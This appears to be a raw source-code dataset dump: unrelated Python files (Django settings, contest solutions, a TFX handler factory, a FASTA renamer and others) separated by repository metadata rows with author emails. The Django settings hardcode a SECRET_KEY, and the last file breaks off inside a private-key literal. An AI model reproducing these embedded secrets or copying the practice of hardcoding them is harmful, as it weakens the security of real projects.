movie_comp = [(f, i) for f, i in zip(fac1, top_movies)]
sorted(movie_comp, key=itemgetter(0), reverse=True)[:10]
sorted(movie_comp, key=itemgetter(0))[:10]
idxs = np.random.choice(len(top_movies), 50, replace=False)
idxs = list(range(50))
X = fac0[idxs]
Y = fac2[idxs]
plt.figure(figsize=(15, 15))
plt.scatter(X, Y)
for i, x, y in zip(top_movies[idxs], X, Y):
plt.text(x, y, i, color=np.random.rand(3) * 0.7, fontsize=11)
plt.show()
| [
"huangyingw@gmail.com"
] | huangyingw@gmail.com |
2f3c95e5e141f6523213f3eb08049afb0594cd36 | 88726f0d487a0d9f1c568722f458d5cc8ad40566 | /panasonic2020/C.py | 1dc61efb636939e18fdd56451751aa9713f8deb7 | [] | no_license | thortoyo/study | 60e3cccbf7b6587044ca3ee5c4cdb07f038a5800 | 7c20f7208703acf81125aca49de580982391ecfe | refs/heads/master | 2023-06-21T21:56:47.141439 | 2023-06-20T02:38:47 | 2023-06-20T02:38:47 | 196,919,933 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 214 | py | import math
a,b,c=map(int,input().split())
#if ((a + b + (2 * math.sqrt(a*b))) < c):
# print("Yes")
#else:
# print("No")
if (((c-a-b) >= 0) and (4*a*b < ((c-a-b)*(c-a-b)) )):
print("Yes")
else:
print("No")
| [
"thor.toyo@gmail.com"
] | thor.toyo@gmail.com |
8f390a25d57a5ddd7b928a96666f049cdc978a3b | 005c16321899c0524f040bfea364636dfb9436dd | /myblog/settings.py | 7eef1adab2702ac4640f1b1c1da8315d70406d19 | [] | no_license | martin-martin/django-blog-api | 885f4581476fb7fcde44658c11a21a56e9be1028 | ce7f23fbfa304b296ebccbf02ffbac2f2e8b71a1 | refs/heads/master | 2023-08-01T06:41:25.342548 | 2021-03-23T09:55:36 | 2021-03-23T09:55:36 | 256,978,046 | 0 | 0 | null | 2021-09-22T18:57:07 | 2020-04-19T11:05:43 | Python | UTF-8 | Python | false | false | 3,164 | py | """
Django settings for myblog project.
Generated by 'django-admin startproject' using Django 3.0.2.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '5fnpzfttu3b6m5gawr(k%wsp7f79f&c2+bl4qliheiss_2a7xf'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
# Django REST Framework
'rest_framework',
# my apps
'blog',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'myblog.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'myblog.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.0/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/3.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.0/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.0/howto/static-files/
STATIC_URL = '/static/'
| [
"breuss.martin@gmail.com"
] | breuss.martin@gmail.com |
62a80ae08072529984b1a0256c6be46b21908b1e | ad13583673551857615498b9605d9dcab63bb2c3 | /output/instances/nistData/atomic/unsignedInt/Schema+Instance/NISTXML-SV-IV-atomic-unsignedInt-maxExclusive-5-1.py | c11af821e8d2a5c9ae1f1b7dfaaca7a056973162 | [
"MIT"
] | permissive | tefra/xsdata-w3c-tests | 397180205a735b06170aa188f1f39451d2089815 | 081d0908382a0e0b29c8ee9caca6f1c0e36dd6db | refs/heads/main | 2023-08-03T04:25:37.841917 | 2023-07-29T17:10:13 | 2023-07-30T12:11:13 | 239,622,251 | 2 | 0 | MIT | 2023-07-25T14:19:04 | 2020-02-10T21:59:47 | Python | UTF-8 | Python | false | false | 295 | py | from output.models.nist_data.atomic.unsigned_int.schema_instance.nistschema_sv_iv_atomic_unsigned_int_max_exclusive_5_xsd.nistschema_sv_iv_atomic_unsigned_int_max_exclusive_5 import NistschemaSvIvAtomicUnsignedIntMaxExclusive5
obj = NistschemaSvIvAtomicUnsignedIntMaxExclusive5(
value=0
)
| [
"tsoulloftas@gmail.com"
] | tsoulloftas@gmail.com |
fe4511bceb8e23425fa960fa5fdac05119f7b611 | 8a141ce2232eb3ed1ec505ceecc7c9b431bf52c6 | /virtual/lib/python3.6/site-packages/bootstrap_py/pypi.py | 7e7833a39073390bc95c9e108bb97ea5bf6213f2 | [
"MIT"
] | permissive | monicaoyugi/Pitch | 9f11531e43070e397cbe9afb7aa36949a9e9a0c5 | 9ac865760884dd4514b60a415ce40ef22aa673ac | refs/heads/master | 2022-12-11T00:51:49.205736 | 2020-02-15T13:01:06 | 2020-02-15T13:01:06 | 238,953,626 | 0 | 1 | MIT | 2022-12-08T03:37:09 | 2020-02-07T15:10:29 | Python | UTF-8 | Python | false | false | 976 | py | # -*- coding: utf-8 -*-
"""bootstrap_py.pypi."""
import requests
import socket
from requests.exceptions import Timeout, HTTPError
from bootstrap_py.exceptions import BackendFailure, Conflict
#: PyPI JSONC API url
PYPI_URL = 'https://pypi.org/pypi/{0}/json'
def package_existent(name):
"""Search package.
* :class:`bootstrap_py.exceptions.Conflict` exception occurs
when user specified name has already existed.
* :class:`bootstrap_py.exceptions.BackendFailure` exception occurs
when PyPI service is down.
:param str name: package name
"""
try:
response = requests.get(PYPI_URL.format(name))
if response.ok:
msg = ('[error] "{0}" is registered already in PyPI.\n'
'\tSpecify another package name.').format(name)
raise Conflict(msg)
except (socket.gaierror,
Timeout,
ConnectionError,
HTTPError) as exc:
raise BackendFailure(exc)
| [
"monicaoyugi@gmail.com"
] | monicaoyugi@gmail.com |
0f167bfe47aff24f922605fa722f2da76518a893 | d13edf81cd374edd927d0cdc5109b0b35fde886a | /python/lnx2/__init__.py | 3353576f19b035057403b03ac984dc077d7e3c84 | [
"MIT"
] | permissive | piotrmaslanka/lnx2 | 6abe49167dcd46ff28db7d46185daf2ffb552c2f | c293201d947b6cff09ae7ba15e1c2a3acd2e4a7f | refs/heads/master | 2016-08-03T09:26:46.826574 | 2014-03-27T22:18:55 | 2014-03-27T22:18:55 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 353 | py | from lnx2.packet import Packet
from lnx2.exceptions import LNX2Error, PacketMalformedError, \
NothingToRead, NothingToSend
from lnx2.channel import Channel, RTM_NONE, RTM_MANUAL, RTM_AUTO, \
RTM_AUTO_ORDERED
from lnx2.connection import Connection
from lnx2.lnxsocket import ClientSocket, ServerSocket | [
"piotr.maslanka@henrietta.com.pl"
] | piotr.maslanka@henrietta.com.pl |
7a1335a92e08e2bb539af11845648d329f4ce995 | fd3f0fdc6af4d0b0205a70b7706caccab2c46dc0 | /0x0B-python-input_output/10-student.py | ed4a0271932ff2cea23672d9f0aa295adef4d322 | [] | no_license | Maynot2/holbertonschool-higher_level_programming | b41c0454a1d27fe34596fe4aacadf6fc8612cd23 | 230c3df96413cd22771d1c1b4c344961b4886a61 | refs/heads/main | 2023-05-04T05:43:19.457819 | 2021-05-12T14:51:56 | 2021-05-12T14:51:56 | 319,291,958 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 768 | py | #!/usr/bin/python3
"""Holds a student class"""
def is_str_list(ary):
"""Checks if all elements of a list are strings"""
if type(ary) != list:
return False
for elm in ary:
if type(elm) != str:
return False
return True
class Student:
"""Models a real life student"""
def __init__(self, first_name, last_name, age):
"""
Initializes a student instance with a given first_name, last_name
and age
"""
self.first_name = first_name
self.last_name = last_name
self.age = age
def to_json(self, attrs=None):
if is_str_list(attrs):
return {k: v for k, v in vars(self).items() if k in attrs}
else:
return vars(self)
| [
"paulmanot@gmail.com"
] | paulmanot@gmail.com |
edcbc595f7c8bf6bfecec9a9027632eb33ee6baa | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_5706278382862336_0/Python/Lameiro/a.py | 8a12ee4379870bbc29b5b97cb71c0c8160521f72 | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 1,093 | py | from pprint import pprint
from itertools import product
import sys
from fractions import Fraction
powers_of_two = {(2**i) for i in xrange(100)}
epsilon = 1e-13
#def is_power_of_two(x):
# for o in powers_of_two:
# if o <= x+epsilon:
# return True
# return False
def read_list_of(numtype):
x = raw_input()
x = x.split('/')
return map(numtype, x)
def calculate(p,q):
f = Fraction(p,q)
if f.denominator not in powers_of_two:
return "impossible"
p = p*1.0
count = 1
r = p/q
r = r*2
while r < 1:
r *= 2
count+=1
return count
def main():
for case_number in xrange(int(raw_input())):
p, q = read_list_of(int)
result = calculate(p, q)
print 'Case #%d: %s' % (case_number+1, result)
main()
# print calculate(5,8)
# print calculate(3,8)
# print calculate(1,2)
# print calculate(1,4)
# print calculate(3,4)
# print calculate(2,23)
# print calculate(123,31488)
#Fraction().
# print calculate(['aabc', 'abbc', 'abcc']) | [
"eewestman@gmail.com"
] | eewestman@gmail.com |
bf79fe7c794bce4db6b3e36ed5ae575b77a97dca | 63f917864d85f0f9e810cbb4e6163f48611a8b3d | /third_party/filebrowser/base.py | 0ef473f2b71074f514625206ae64785952c539dc | [] | no_license | davidraywilson/suit_materialized | 37aa521d52f8dd746b55b121262501147dffb95c | 035405defedd5ee8257b42aac82749794080af4f | refs/heads/master | 2021-01-18T14:05:01.797452 | 2015-06-03T02:03:55 | 2015-06-03T02:03:55 | 32,526,877 | 4 | 1 | null | null | null | null | UTF-8 | Python | false | false | 6,097 | py | # coding: utf-8
# imports
import os, re, datetime
from time import gmtime, strftime
# django imports
from django.conf import settings
# filebrowser imports
from filebrowser.settings import *
from filebrowser.conf import fb_settings
from filebrowser.functions import get_file_type, url_join, is_selectable, get_version_path
from django.utils.encoding import force_unicode
# PIL import
if STRICT_PIL:
from PIL import Image
else:
try:
from PIL import Image
except ImportError:
import Image
class FileObject(object):
"""
The FileObject represents a File on the Server.
PATH has to be relative to MEDIA_ROOT.
"""
def __init__(self, path):
'''
`os.path.split` Split the pathname path into a pair, (head, tail) where tail is the last pathname component and head is everything leading up to that. The tail part will never contain a slash; if path ends in a slash, tail will be empty. If there is no slash in path, head will be empty. If path is empty, both head and tail are empty.
'''
self.path = path
self.url_rel = path.replace("\\","/")
self.head, self.filename = os.path.split(path)
self.filename_lower = self.filename.lower() # important for sorting
self.filetype = get_file_type(self.filename) # strange if file no extension then this folder
def _filesize(self):
"""
Filesize.
"""
path = force_unicode(self.path)
if os.path.isfile(os.path.join(fb_settings.MEDIA_ROOT, path)) or os.path.isdir(os.path.join(fb_settings.MEDIA_ROOT, path)):
return os.path.getsize(os.path.join(fb_settings.MEDIA_ROOT, path))
return ""
filesize = property(_filesize)
def _date(self):
"""
Date.
"""
if os.path.isfile(os.path.join(fb_settings.MEDIA_ROOT, self.path)) or os.path.isdir(os.path.join(fb_settings.MEDIA_ROOT, self.path)):
return os.path.getmtime(os.path.join(fb_settings.MEDIA_ROOT, self.path))
return ""
date = property(_date)
def _datetime(self):
"""
Datetime Object.
"""
return datetime.datetime.fromtimestamp(self.date)
datetime = property(_datetime)
def _extension(self):
"""
Extension.
"""
return u"%s" % os.path.splitext(self.filename)[1]
extension = property(_extension)
def _filetype_checked(self):
if self.filetype == "Folder" and os.path.isdir(self.path_full):
return self.filetype
elif self.filetype != "Folder" and os.path.isfile(self.path_full):
return self.filetype
else:
return ""
filetype_checked = property(_filetype_checked)
def _path_full(self):
"""
Full server PATH including MEDIA_ROOT.
"""
return os.path.join(fb_settings.MEDIA_ROOT, self.path)
path_full = property(_path_full)
def _path_relative(self):
return self.path
path_relative = property(_path_relative)
def _path_relative_directory(self):
"""
Path relative to initial directory.
"""
directory_re = re.compile(r'^(%s)' % (fb_settings.DIRECTORY))
value = directory_re.sub('', self.path)
return u"%s" % value
path_relative_directory = property(_path_relative_directory)
def _url_relative(self):
return self.url_rel
url_relative = property(_url_relative)
def _url_full(self):
"""
Full URL including MEDIA_URL.
"""
return force_unicode(url_join(fb_settings.MEDIA_URL, self.url_rel))
url_full = property(_url_full)
def _url_save(self):
"""
URL used for the filebrowsefield.
"""
if SAVE_FULL_URL:
return self.url_full
else:
return self.url_rel
url_save = property(_url_save)
def _url_thumbnail(self):
"""
Thumbnail URL.
"""
if self.filetype == "Image":
return u"%s" % url_join(fb_settings.MEDIA_URL, get_version_path(self.path, ADMIN_THUMBNAIL))
else:
return ""
url_thumbnail = property(_url_thumbnail)
def url_admin(self):
if self.filetype_checked == "Folder":
directory_re = re.compile(r'^(%s)' % (fb_settings.DIRECTORY))
value = directory_re.sub('', self.path)
return u"%s" % value
else:
return u"%s" % url_join(fb_settings.MEDIA_URL, self.path)
def _dimensions(self):
"""
Image Dimensions.
"""
if self.filetype == 'Image':
try:
im = Image.open(os.path.join(fb_settings.MEDIA_ROOT, self.path))
return im.size
except:
pass
else:
return False
dimensions = property(_dimensions)
def _width(self):
"""
Image Width.
"""
return self.dimensions[0]
width = property(_width)
def _height(self):
"""
Image Height.
"""
return self.dimensions[1]
height = property(_height)
def _orientation(self):
"""
Image Orientation.
"""
if self.dimensions:
if self.dimensions[0] >= self.dimensions[1]:
return "Landscape"
else:
return "Portrait"
else:
return None
orientation = property(_orientation)
def _is_empty(self):
"""
True if Folder is empty, False if not.
"""
if os.path.isdir(self.path_full):
if not os.listdir(self.path_full):
return True
else:
return False
else:
return None
is_empty = property(_is_empty)
def __repr__(self):
return force_unicode(self.url_save)
def __str__(self):
return force_unicode(self.url_save)
def __unicode__(self):
return force_unicode(self.url_save)
| [
"davidraywilson@live.com"
] | davidraywilson@live.com |
1beb2e528c471684c319966b412c74359454e913 | ea178f0977127189c7559dfa9ca2faadceef5ff8 | /python/jittor/test/test_auto_diff.py | 933a44e9ded740bcf082495e7343a4d606c8c0b3 | [
"Apache-2.0"
] | permissive | AbbasMZ/jittor | a0bb5b2cbceeffb40c61405b863e7e4b91567756 | fcec57f70422b52d6b8d0235e29f91fd2212f559 | refs/heads/master | 2023-06-20T07:07:22.952846 | 2021-07-15T14:40:54 | 2021-07-15T14:40:54 | 386,115,280 | 0 | 0 | Apache-2.0 | 2021-07-15T00:42:22 | 2021-07-15T00:39:53 | null | UTF-8 | Python | false | false | 1,953 | py | # ***************************************************************
# Copyright (c) 2021 Jittor. All Rights Reserved.
# Maintainers: Dun Liang <randonlang@gmail.com>.
# This file is subject to the terms and conditions defined in
# file 'LICENSE.txt', which is part of this source code package.
# ***************************************************************
import unittest
import numpy as np
import os
import sys
import jittor as jt
skip_this_test = False
try:
jt.dirty_fix_pytorch_runtime_error()
import torch
import torchvision.models as tcmodels
from torch import nn
except:
torch = None
skip_this_test = True
@unittest.skipIf(skip_this_test, "skip_this_test")
class TestAutoDiff(unittest.TestCase):
def test_pt_hook(self):
code = '''
import numpy as np
from jittor_utils import auto_diff
import torch
import torchvision.models as tcmodels
net = tcmodels.resnet50()
net.train()
hook = auto_diff.Hook("resnet50")
hook.hook_module(net)
np.random.seed(0)
data = np.random.random((2,3,224,224)).astype('float32')
data = torch.Tensor(data)
net(data)
# assert auto_diff.has_error == 0, auto_diff.has_error
'''
with open("/tmp/test_pt_hook.py", 'w') as f:
f.write(code)
assert os.system(sys.executable+" /tmp/test_pt_hook.py") == 0
assert os.system(sys.executable+" /tmp/test_pt_hook.py") == 0
code = '''
import numpy as np
import jittor as jt
from jittor_utils import auto_diff
from jittor.models import resnet50
net = resnet50()
net.train()
hook = auto_diff.Hook("resnet50")
hook.hook_module(net)
np.random.seed(0)
data = np.random.random((2,3,224,224)).astype('float32')
data = jt.array(data)
net(data)
# assert auto_diff.has_error == 0, auto_diff.has_error
'''
with open("/tmp/test_jt_hook.py", 'w') as f:
f.write(code)
assert os.system(sys.executable+" /tmp/test_jt_hook.py") == 0
if __name__ == "__main__":
unittest.main()
| [
"randonlang@gmail.com"
] | randonlang@gmail.com |
773cf06a03db23a20481c582d9f289de0f9226f7 | 28489cb7b78af54f0812362682ed5245ea8f844c | /6 - Python/Strings/8 - Desginer Door Mat.py | 4ab5b2cebf19eaea093d9d7aafd0429d6b725d68 | [
"MIT"
] | permissive | sbobbala76/Python.HackerRank | 7782b179d0c7b25711fe2b98763beb9ec22d7b09 | 33c5c30d1e6af1f48370dbb075f168d339f7438a | refs/heads/master | 2021-05-23T12:29:11.302406 | 2020-06-01T12:28:49 | 2020-06-01T12:28:49 | 253,286,651 | 0 | 0 | MIT | 2020-04-05T17:00:33 | 2020-04-05T17:00:32 | null | UTF-8 | Python | false | false | 276 | py | n, m = map(int,input().split()) # More than 6 lines of code will result in 0 score. Blank lines are not counted.
for i in range(1, n, 2):
print ((".|." * i).center(m, '-'))
print ("WELCOME".center(m, '-'))
for i in range(n - 2, -1, -2):
print ((".|." * i).center(m, '-'))
| [
"ehouarn.perret@outlook.com"
] | ehouarn.perret@outlook.com |
5ce3ea9f60875b83c78de02f52a5b51e04639afd | 45df508e4c99f453ca114053a92deb65939f18c9 | /tfx/tools/cli/handler/handler_factory.py | 3bb20df41fbe67898d03601ac853a29e07ad5135 | [
"Apache-2.0"
] | permissive | VonRosenchild/tfx | 604eaf9a3de3a45d4084b36a478011d9b7441fc1 | 1c670e92143c7856f67a866f721b8a9368ede385 | refs/heads/master | 2020-08-09T13:45:07.067267 | 2019-10-10T03:07:20 | 2019-10-10T03:07:48 | 214,100,022 | 1 | 0 | Apache-2.0 | 2019-10-10T06:06:11 | 2019-10-10T06:06:09 | null | UTF-8 | Python | false | false | 4,015 | py | # Copyright 2019 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Helper functions to choose engine."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import subprocess
import sys
import click
from typing import Dict, Text, Any
from tfx.tools.cli import labels
from tfx.tools.cli.handler import base_handler
def detect_handler(flags_dict: Dict[Text, Any]) -> base_handler.BaseHandler:
"""Detect handler from the environment.
Details:
When the engine flag is set to 'auto', this method first finds all the
packages in the local environment. The environment is first checked
for multiple orchestrators and if true the user must rerun the command with
required engine. If only one orchestrator is present, the engine is set to
that.
Args:
flags_dict: A dictionary containing the flags of a command.
Returns:
Corrosponding Handler object.
"""
packages_list = str(subprocess.check_output(['pip', 'freeze', '--local']))
if labels.AIRFLOW_PACKAGE_NAME in packages_list and labels.KUBEFLOW_PACKAGE_NAME in packages_list:
sys.exit('Multiple orchestrators found. Choose one using --engine flag.')
if labels.AIRFLOW_PACKAGE_NAME in packages_list:
click.echo('Detected Airflow.')
click.echo(
'Use --engine flag if you intend to use a different orchestrator.')
flags_dict[labels.ENGINE_FLAG] = 'airflow'
from tfx.tools.cli.handler import airflow_handler # pylint: disable=g-import-not-at-top
return airflow_handler.AirflowHandler(flags_dict)
elif labels.KUBEFLOW_PACKAGE_NAME in packages_list:
click.echo('Detected Kubeflow.')
click.echo(
'Use --engine flag if you intend to use a different orchestrator.')
flags_dict[labels.ENGINE_FLAG] = 'kubeflow'
from tfx.tools.cli.handler import kubeflow_handler # pylint: disable=g-import-not-at-top
return kubeflow_handler.KubeflowHandler(flags_dict)
else:
click.echo('Detected Beam.')
flags_dict[labels.ENGINE_FLAG] = 'beam'
from tfx.tools.cli.handler import beam_handler # pylint: disable=g-import-not-at-top
return beam_handler.BeamHandler(flags_dict)
def create_handler(flags_dict: Dict[Text, Any]) -> base_handler.BaseHandler:
"""Retrieve handler from the environment using the --engine flag.
Args:
flags_dict: A dictionary containing the flags of a command.
Raises:
RuntimeError: When engine is not supported by TFX.
Returns:
Corresponding Handler object.
"""
engine = flags_dict[labels.ENGINE_FLAG]
packages_list = str(subprocess.check_output(['pip', 'freeze', '--local']))
if engine == 'airflow':
if labels.AIRFLOW_PACKAGE_NAME not in packages_list:
sys.exit('Airflow not found.')
from tfx.tools.cli.handler import airflow_handler # pylint: disable=g-import-not-at-top
return airflow_handler.AirflowHandler(flags_dict)
elif engine == 'kubeflow':
if labels.KUBEFLOW_PACKAGE_NAME not in packages_list:
sys.exit('Kubeflow not found.')
from tfx.tools.cli.handler import kubeflow_handler # pylint: disable=g-import-not-at-top
return kubeflow_handler.KubeflowHandler(flags_dict)
elif engine == 'beam':
from tfx.tools.cli.handler import beam_handler # pylint: disable=g-import-not-at-top
return beam_handler.BeamHandler(flags_dict)
elif engine == 'auto':
return detect_handler(flags_dict)
else:
raise RuntimeError('Engine {} is not supported.'.format(engine))
| [
"tensorflow-extended-team@google.com"
] | tensorflow-extended-team@google.com |
54f2fc3f5ae22cc683bea5d9709baa7e6a5fab6a | 80576f0a050d87edf6c60f096779aa54e8548e6b | /djangosige/apps/estoque/views/consulta.py | 3d6249b21ea28097cb51df7d7022e2792850c8af | [
"MIT"
] | permissive | HigorMonteiro/djangoSIGE | fb9ded1641622a7d105781fd7b004f4d3f8a17a7 | 8fc89a570663b32e1be032ce9a45d37842b82008 | refs/heads/master | 2020-12-02T22:39:46.446177 | 2017-07-05T02:07:00 | 2017-07-05T02:07:00 | 96,162,182 | 0 | 0 | null | 2017-07-04T01:09:59 | 2017-07-04T01:09:59 | null | UTF-8 | Python | false | false | 1,354 | py | # -*- coding: utf-8 -*-
from django.core.urlresolvers import reverse_lazy
from django.views.generic.list import ListView
from djangosige.apps.cadastro.models import Produto
from djangosige.apps.estoque.models import LocalEstoque
class ConsultaEstoqueView(ListView):
template_name = "estoque/consulta/consulta_estoque.html"
success_url = reverse_lazy('estoque:consultaestoqueview')
context_object_name = 'produtos_filtrados'
def get_context_data(self, **kwargs):
context = super(ConsultaEstoqueView, self).get_context_data(**kwargs)
context['todos_produtos'] = Produto.objects.filter(
controlar_estoque=True)
context['todos_locais'] = LocalEstoque.objects.all()
context['title_complete'] = 'CONSULTA DE ESTOQUE'
return context
def get_queryset(self):
produto = self.request.GET.get('produto')
local = self.request.GET.get('local')
if produto:
produtos_filtrados = Produto.objects.filter(id=produto)
elif local:
produtos_filtrados = LocalEstoque.objects.get(
id=local).produtos_estoque.filter(controlar_estoque=True, estoque_atual__gt=0)
else:
produtos_filtrados = Produto.objects.filter(
controlar_estoque=True, estoque_atual__gt=0)
return produtos_filtrados
| [
"thiagovilelap@hotmail.com"
] | thiagovilelap@hotmail.com |
33da9285ec09b6b5f1b27bf790bcaea7b6820864 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_96/875.py | 276e1f647b1feac69a7d212c271358860c599206 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,004 | py | from copy import copy
scores_n = map(lambda x:-1, range(31))
scores_s = copy(scores_n)
for i in range(11):
for j in range(i, i+3):
for k in range(i, i+3):
score = i + j + k
if score>30 or j>10 or k>10:
continue
if j==i+2 or k==i+2:
if max([i,j,k])>scores_s[score]:
scores_s[score] = max([i,j,k])
else:
if max([i,j,k])>scores_n[score]:
scores_n[score] = max([i,j,k])
for i in range(31):
if scores_s[i]==-1:
scores_s[i]=scores_n[i]
# Start Calculate
fn = 'B-large'
fi = open('%s.in' % fn, 'r')
fo = open('%s.out' % fn, 'w')
t = int(fi.readline())
cases = fi.readlines()
fi.close()
for c in range(t):
ns = map(lambda x: int(x), cases[c].strip().split(' '))
n = ns[0]
s = ns[1]
p = ns[2]
gs = ns[3:3+n]
target = 0
for g in gs:
if scores_n[g]>=p:
target = target + 1
continue
if s>0 and scores_s[g]>=p:
target = target + 1
s = s - 1
continue
fo.write("Case #%s: %s\n" % ((c+1),target))
fo.close()
| [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
98e2c351373391cdab276e22d809edbe37d7a18a | 94f524333d8a6f44985adec85242c8f57acfb6f0 | /fastaRenamers/spadesContigsRenamer.py | fee774105212ea6f6b52ac65a1404182e78e7d9b | [
"MIT"
] | permissive | nickp60/open_utils | 5185288959eef30fc0d11e91d1aa76fe2e8236e7 | 628d102554e7c13fadecef5b94fa0dc0b389d37b | refs/heads/master | 2021-01-17T02:32:15.820342 | 2020-04-21T16:29:11 | 2020-04-21T16:29:11 | 48,182,000 | 1 | 3 | null | null | null | null | UTF-8 | Python | false | false | 2,081 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
"""
import argparse
import sys
import logging
import os
def get_args():
parser = argparse.ArgumentParser(
description="given a contigs file from spades, this renames each " +
"this renames the header line to include the file's basename")
parser.add_argument("-i", "--infile", dest="infile", help="input genome", required=True)
parser.add_argument("-n", "--name", dest="name", help="name", required=True)
parser.add_argument("-c", "--clobber", help="overwrite existing outfile",
dest="clobber",
default=False,
action="store_true")
parser.add_argument("-o", "--outfile", help=" output file",
dest="outfile",
default=os.path.join(os.getcwd(),
"spadesRenamed.fa"))
args = parser.parse_args()
return(args)
def renameContigs(infile, name, outfile):
counter = 1
# name = os.path.splitext(os.path.basename(infile))
with open(outfile, "a") as f:
for line in open(infile):
if '>' in line:
f.write('>' + name + "_c" + str(counter) + " " + name + " " +
line[1:len(line)])
counter = counter + 1
else:
f.write(line)
def main():
logger = logging.getLogger('filterBamToSam')
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG,
format='%(name)s (%(levelname)s): %(message)s')
logger.setLevel(logging.DEBUG)
logger.debug("All settings used:")
args = get_args()
for k, v in sorted(vars(args).items()):
logger.debug("{0}: {1}".format(k, v))
if os.path.isfile(args.outfile):
if args.clobber:
os.unlink(args.outfile)
else:
logger.error("Ouput file exists! exiting")
sys.exit(1)
renameContigs(args.infile, args.name, args.outfile)
logger.info("Finished")
if __name__ == '__main__':
main()
| [
"nickp60@gmail.com"
] | nickp60@gmail.com |
b7968e221fae41e83c55e7ffda8a44e5f3bf2795 | d1687f79f6e389f2b695b1d4bdf2eeb8ef07048e | /src/netius/test/extra/smtp_r.py | 80fb13816a097a82c50120c8380dc13689f37f10 | [
"Apache-2.0"
] | permissive | zdzhjx/netius | 4604d3a772644338ef5020defa967d5cd8b89e6a | c8b050c42c5d9e6a0980604f08d7508bba0f996e | refs/heads/master | 2021-01-22T12:07:57.608669 | 2016-08-30T17:26:28 | 2016-08-30T17:26:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,204 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Hive Netius System
# Copyright (c) 2008-2016 Hive Solutions Lda.
#
# This file is part of Hive Netius System.
#
# Hive Netius System is free software: you can redistribute it and/or modify
# it under the terms of the Apache License as published by the Apache
# Foundation, either version 2.0 of the License, or (at your option) any
# later version.
#
# Hive Netius System is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# Apache License for more details.
#
# You should have received a copy of the Apache License along with
# Hive Netius System. If not, see <http://www.apache.org/licenses/>.
__author__ = "João Magalhães <joamag@hive.pt>"
""" The author(s) of the module """
__version__ = "1.0.0"
""" The version of the module """
__revision__ = "$LastChangedRevision$"
""" The revision number of the module """
__date__ = "$LastChangedDate$"
""" The last change date of the module """
__copyright__ = "Copyright (c) 2008-2016 Hive Solutions Lda."
""" The copyright for the module """
__license__ = "Apache License, Version 2.0"
""" The license for the module """
import unittest
import netius.extra
PRIVATE_KEY = b"MIICVwIAAoGAgRWSX07LB0VzpDy14taaO1b+juQVhQpyKy/fxaLupohy4UDOxHJU\
